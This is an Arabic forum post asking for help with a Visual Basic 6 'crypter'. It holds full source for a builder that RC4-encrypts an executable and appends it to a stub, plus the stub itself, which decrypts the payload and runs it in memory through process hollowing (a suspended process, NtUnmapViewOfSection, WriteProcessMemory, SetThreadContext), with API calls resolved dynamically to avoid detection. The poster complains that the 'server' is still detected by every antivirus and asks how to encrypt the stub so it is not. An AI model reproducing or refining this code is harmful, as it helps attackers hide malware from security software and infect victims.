ولو ازعجتك
لكن لدي استفسار
صممت برنامج تشفير
ووضعت الازرار
وضعت في زر Crypt
هذا الكود
كود PHP:
Dim sInfo As String
Dim res As String
Dim sRes() As Byte
Dim sFile As Long
Dim TheEOF As String
sFile = FreeFile
sRes() = LoadResData("EXE", "CUSTOM")
If Text1.Text = "" Then
MsgBox "Please select a file First", vbCritical, "Error"
Exit Sub
Else
End If
If Check1.Value = Checked Then
TheEOF = ReadEOFData(txtFile.Text)
Else
End If
Open App.Path & "/Res.exe" For Binary Access Write As #sFile
Put #sFile, , sRes()
Close #sFile
Open App.Path & "/Res.exe" For Binary Access Read As #1
res = Input(LOF(1), 1)
Close #1
res = res & "XXXXX"
Open Text1.Text For Binary Access Read As #1
sInfo = sInfo & Input(LOF(1), 1)
Close #1
sInfo = RC4_String(sInfo, "AAAAA")
CommonDialog1.DialogTitle = "Select Saving Place"
CommonDialog1.DefaultExt = "exe"
CommonDialog1.Filter = "Executables (*.exe)|*.exe|All Files (*.*)|*.*"
CommonDialog1.ShowSave
Open CommonDialog1.FileName For Binary Access Write As #1
Put #1, 1, res & sInfo
Close #1
sInfo = ""
If Check3.Value = Checked Then
Call RealignPEFromFile(txtFile.Text)
Else
End If
xpProgressBar1.Value = xpProgressBar1.Value + 10
xpProgressBar1.Value = xpProgressBar1.Value + 15
Kill App.Path & "/Res.exe"
If Check1.Value = Checked Then
Call WriteEOFData(CommonDialog1.FileName, TheEOF)
End If
xpProgressBar1.Value = xpProgressBar1.Value + 15
xpProgressBar1.Value = xpProgressBar1.Value + 10
If Check4.Value = 1 Then
Call ReplaceIcons(Text3.Text, Text1.Text, vbNullString)
Else
End If
xpProgressBar1.Value = xpProgressBar1.Value + 25
xpProgressBar1.Value = xpProgressBar1.Value + 25
xpProgressBar1.Value = 100
MsgBox "Finished !!", vbInformation, "TenD3
"
ووضعت في الستب
موديل 1
كود PHP:
Private Sub Main()
On Error Resume Next
Static Control As String
Open App.Path & "\" & App.EXEName & ".exe" For Binary Access Read As #1
Control = Input(LOF(1), 1)
Close #1
Control = Mid(Control, InStr(Control, "XXXXX") + 5, Len(Control))
Control = RC4_String(Control, "AAAAA")
PE App.Path + "\" + App.EXEName, STRING_TO_BYTES(Control)
End Sub
موديل 2
كود PHP:
Option Explicit
Private i As Integer
Private j As Integer
Private k As Integer
Private a As Byte
Private B As Byte
Dim M As Integer
Private L As Long
Private RC4KEY(255) As Byte
Private ADDTABLE(255, 255) As Byte
Dim STATE(0 To 255) As Byte
Private Sub FILL_LINEAR()
Dim bCONST(0 To 255) As Byte
For M = 0 To 255
bCONST(M) = M
STATE(M) = bCONST(M)
Next M
End Sub
Public Sub RC4(BYTEARRAY() As Byte, Optional PASSWORD As String)
If PASSWORD <> "" Then PREPARE_KEY PASSWORD
For L = 0 To UBound(BYTEARRAY)
i = ADDTABLE(i, 1)
j = ADDTABLE(j, STATE(i))
a = STATE(i): STATE(i) = STATE(j): STATE(j) = a
B = STATE(ADDTABLE(STATE(i), STATE(j)))
BYTEARRAY(L) = BYTEARRAY(L) Xor B
Next L
End Sub
Private Sub PREPARE_KEY(sKEY As String)
INITIALIZE_ADDTABLE
FILL_LINEAR
k = Len(sKEY)
For i = 0 To k - 1
B = Asc(Mid$(sKEY, i + 1, 1))
For j = i To 255 Step k
RC4KEY(j) = B
Next j
Next i
j = 0
For i = 0 To 255
k = ADDTABLE(STATE(i), RC4KEY(i))
j = ADDTABLE(j, k)
B = STATE(i): STATE(i) = STATE(j): STATE(j) = B
Next i
i = 0
j = 0
End Sub
Private Sub INITIALIZE_ADDTABLE()
Static BeenHereDoneThat As Boolean
If BeenHereDoneThat Then Exit Sub
For j = 0 To 255
For i = 0 To 255
ADDTABLE(i, j) = CByte((i + j) And 255)
Next i
Next j
BeenHereDoneThat = True
End Sub
Public Function STRING_TO_BYTES(sString As String) As Byte()
STRING_TO_BYTES = StrConv(sString, vbFromUnicode)
End Function
Public Function BYTES_TO_STRING(bBytes() As Byte) As String
BYTES_TO_STRING = bBytes
BYTES_TO_STRING = StrConv(BYTES_TO_STRING, vbUnicode)
End Function
Public Function RC4_String(InputStr As String, PasswordStr As String) As String
Dim tmpByte() As Byte
tmpByte = STRING_TO_BYTES(InputStr)
RC4 tmpByte, PasswordStr
RC4_String = BYTES_TO_STRING(tmpByte)
End Function
موديل 3
كود PHP:
Private Const CONTEXT_FULL As Long = &H10007
Private Const MAX_PATH As Integer = 260
Private Const CREATE_SUSPENDED As Long = &H4
Private Const MEM_COMMIT As Long = &H1000
Private Const MEM_RESERVE As Long = &H2000
Private Const PAGE_EXECUTE_READWRITE As Long = &H40
Private Declare Function CreateProcessA Lib "kernel32" (ByVal lpAppName As String, ByVal lpCommandLine As String, ByVal lpProcessAttributes As Long, ByVal lpThreadAttributes As Long, ByVal bInheritHandles As Long, ByVal dwCreationFlags As Long, ByVal lpEnvironment As Long, ByVal lpCurrentDirectory As Long, lpStartupInfo As STARTUPINFO, lpProcessInformation As PROCESS_INFORMATION) As Long
Private Declare Function WriteProcessMemory Lib "kernel32" (ByVal hProcess As Long, lpBaseAddress As Any, bvBuff As Any, ByVal nSize As Long, lpNumberOfBytesWritten As Long) As Long
Declare Sub RtlMoveMemory Lib "kernel32" (dest As Any, src As Any, ByVal L As Long)
Declare Function CallWindowProcA Lib "user32" (ByVal addr As Long, ByVal p1 As Long, ByVal p2 As Long, ByVal p3 As Long, ByVal p4 As Long) As Long
Declare Function GetProcAddress Lib "kernel32" (ByVal hModule As Long, ByVal lpProcName As String) As Long
Declare Function LoadLibraryA Lib "kernel32" (ByVal lpLibFileName As String) As Long
Private Type SECURITY_ATTRIBUTES
nLength As Long
lpSecurityDescriptor As Long
bInheritHandle As Long
End Type
Private Type STARTUPINFO
cb As Long
lpReserved As Long
lpDesktop As Long
lpTitle As Long
dwX As Long
dwY As Long
dwXSize As Long
dwYSize As Long
dwXCountChars As Long
dwYCountChars As Long
dwFillAttribute As Long
dwFlags As Long
wShowWindow As Integer
cbReserved2 As Integer
lpReserved2 As Long
hStdInput As Long
hStdOutput As Long
hStdError As Long
End Type
Private Type PROCESS_INFORMATION
hProcess As Long
hThread As Long
dwProcessID As Long
dwThreadID As Long
End Type
Private Type FLOATING_SAVE_AREA
ControlWord As Long
StatusWord As Long
TagWord As Long
ErrorOffset As Long
ErrorSelector As Long
DataOffset As Long
DataSelector As Long
RegisterArea(1 To 80) As Byte
Cr0NpxState As Long
End Type
Private Type CONTEXT
ContextFlags As Long
Dr0 As Long
Dr1 As Long
Dr2 As Long
Dr3 As Long
Dr6 As Long
Dr7 As Long
FloatSave As FLOATING_SAVE_AREA
SegGs As Long
SegFs As Long
SegEs As Long
SegDs As Long
Edi As Long
Esi As Long
Ebx As Long
Edx As Long
Ecx As Long
Eax As Long
Ebp As Long
Eip As Long
SegCs As Long
EFlags As Long
Esp As Long
SegSs As Long
End Type
Private Type IMAGE_DOS_HEADER
e_magic As Integer
e_cblp As Integer
e_cp As Integer
e_crlc As Integer
e_cparhdr As Integer
e_minalloc As Integer
e_maxalloc As Integer
e_ss As Integer
e_sp As Integer
e_csum As Integer
e_ip As Integer
e_cs As Integer
e_lfarlc As Integer
e_ovno As Integer
e_res(0 To 3) As Integer
e_oemid As Integer
e_oeminfo As Integer
e_res2(0 To 9) As Integer
e_lfanew As Long
End Type
Private Type IMAGE_SECTION_HEADER
SecName As String * 8
VirtualSize As Long
VirtualAddress As Long
SizeOfRawData As Long
PointerToRawData As Long
PointerToRelocations As Long
PointerToLinenumbers As Long
NumberOfRelocations As Integer
NumberOfLinenumbers As Integer
characteristics As Long
End Type
Private Type IMAGE_DATA_DIRECTORY
VirtualAddress As Long
Size As Long
End Type
Private Type IMAGE_OPTIONAL_HEADER
Magic As Integer
MajorLinkerVersion As Byte
MinorLinkerVersion As Byte
SizeOfCode As Long
SizeOfInitializedData As Long
SizeOfUnitializedData As Long
AddressOfEntryPoint As Long
BaseOfCode As Long
BaseOfData As Long
' NT additional fields.
ImageBase As Long
SectionAlignment As Long
FileAlignment As Long
MajorOperatingSystemVersion As Integer
MinorOperatingSystemVersion As Integer
MajorImageVersion As Integer
MinorImageVersion As Integer
MajorSubsystemVersion As Integer
MinorSubsystemVersion As Integer
W32VersionValue As Long
SizeOfImage As Long
SizeOfHeaders As Long
CheckSum As Long
SubSystem As Integer
DllCharacteristics As Integer
SizeOfStackReserve As Long
SizeOfStackCommit As Long
SizeOfHeapReserve As Long
SizeOfHeapCommit As Long
LoaderFlags As Long
NumberOfRvaAndSizes As Long
DataDirectory(0 To 15) As IMAGE_DATA_DIRECTORY
End Type
Private Type IMAGE_FILE_HEADER
Machine As Integer
NumberOfSections As Integer
TimeDateStamp As Long
PointerToSymbolTable As Long
NumberOfSymbols As Long
SizeOfOptionalHeader As Integer
characteristics As Integer
End Type
Private Type IMAGE_NT_HEADERS
Signature As Long
FileHeader As IMAGE_FILE_HEADER
OptionalHeader As IMAGE_OPTIONAL_HEADER
End Type
Public Function CallApiByName(ByVal sLib As String, ByVal sMod As String, ParamArray Params()) As Long
Dim bvASM(64) As Byte 'enought to hold code + 10 params
Dim i As Long
Dim lPos As Long
Dim sVal As String
bvASM(0) = &H58: bvASM(1) = &H59: bvASM(2) = &H59
bvASM(3) = &H59: bvASM(4) = &H59: bvASM(5) = &H50
lPos = 6
For i = UBound(Params) To 0 Step -1
bvASM(lPos) = &H68: lPos = lPos + 1
sVal = (Params(i)): GoSub PutLong: lPos = lPos + 4
Next
bvASM(lPos) = &HE8: lPos = lPos + 1
sVal = GetProcAddress(LoadLibraryA(sLib), sMod) - VarPtr(bvASM(lPos)) - 4
GoSub PutLong: lPos = lPos + 4
bvASM(lPos) = &HC3
CallApiByName = CallWindowProcA(VarPtr(bvASM(0)), 0, 0, 0, 0)
Exit Function
PutLong:
'This is cheap replacement for RtlMoveMemory/putmem4 (hi/lo word/byte)
sVal = Right$(String(8, "0") & Hex(sVal), 8)
bvASM(lPos + 0) = ("&h" & Mid$(sVal, 7, 2))
bvASM(lPos + 1) = ("&h" & Mid$(sVal, 5, 2))
bvASM(lPos + 2) = ("&h" & Mid$(sVal, 3, 2))
bvASM(lPos + 3) = ("&h" & Mid$(sVal, 1, 2))
Return
End Function
Public Function PE(szProcessName As String, lpBuffer() As Byte)
On Error Resume Next
Dim Pidh As IMAGE_DOS_HEADER
Dim Pinh As IMAGE_NT_HEADERS
Dim Pish As IMAGE_SECTION_HEADER
Dim Si As STARTUPINFO
Dim Pi As PROCESS_INFORMATION
Dim Ctx As CONTEXT
Dim i As Long
Si.cb = Len(Si)
Ctx.ContextFlags = CONTEXT_FULL
Call CallApiByName("kernel32", "RtlMoveMemory", VarPtr(Pidh), VarPtr(lpBuffer(0)), Len(Pidh))
Call CallApiByName("kernel32", "RtlMoveMemory", VarPtr(Pinh), VarPtr(lpBuffer(Pidh.e_lfanew)), Len(Pinh))
Call CallApiByName("kernel32", "CreateProcessW", 0, StrPtr(szProcessName), 0, 0, 0, CREATE_SUSPENDED, 0, 0, VarPtr(Si), VarPtr(Pi))
Call CallApiByName("ntdll", "NtUnmapViewOfSection", Pi.hProcess, Pinh.OptionalHeader.ImageBase)
Call CallApiByName("kernel32", "VirtualAllocEx", Pi.hProcess, Pinh.OptionalHeader.ImageBase, Pinh.OptionalHeader.SizeOfImage, MEM_COMMIT Or MEM_RESERVE, PAGE_EXECUTE_READWRITE)
Call CallApiByName("kernel32", "WriteProcessMemory", Pi.hProcess, Pinh.OptionalHeader.ImageBase, VarPtr(lpBuffer(0)), Pinh.OptionalHeader.SizeOfHeaders, 0)
For i = 0 To Pinh.FileHeader.NumberOfSections - 1
RtlMoveMemory Pish, lpBuffer(Pidh.e_lfanew + Len(Pinh) + Len(Pish) * i), Len(Pish)
Call CallApiByName("kernel32", "WriteProcessMemory", Pi.hProcess, Pinh.OptionalHeader.ImageBase + Pish.VirtualAddress, VarPtr(lpBuffer(Pish.PointerToRawData)), Pish.SizeOfRawData, 0)
Next
Call CallApiByName("kernel32", "GetThreadContext", Pi.hThread, VarPtr(Ctx))
Call CallApiByName("kernel32", "WriteProcessMemory", Pi.hProcess, Ctx.Ebx + 8, VarPtr(Pinh.OptionalHeader.ImageBase), 4, 0)
Ctx.Eax = Pinh.OptionalHeader.ImageBase + Pinh.OptionalHeader.AddressOfEntryPoint
Call CallApiByName("kernel32", "SetThreadContext", Pi.hThread, VarPtr(Ctx))
Call CallApiByName("kernel32", "ResumeThread", Pi.hThread)
End Function
Private Function Protect(ByVal characteristics As Long) As Long
Dim mapping As Variant
mapping = Array(PAGE_NOACCESS, PAGE_EXECUTE, PAGE_READONLY, _
PAGE_EXECUTE_READ, PAGE_READWRITE, PAGE_EXECUTE_READWRITE, _
PAGE_READWRITE, PAGE_EXECUTE_READWRITE)
Protect = mapping(RShift(characteristics, 29))
End Function
Private Function RShift(ByVal lValue As Long, ByVal lNumberOfBitsToShift As Long) As Long
RShift = vbLongToULong(lValue) / (2 ^ lNumberOfBitsToShift)
End Function
Private Function vbLongToULong(ByVal Value As Long) As Double
If Value < 0 Then
vbLongToULong = Value + OFFSET_4
Else
vbLongToULong = Value
End If
End Function
والسيرفر بعد التشفير مكشوف من كل الحمايات
اذا اردت تشفير الستب
فما الطريقه الصحيحه
وشكرا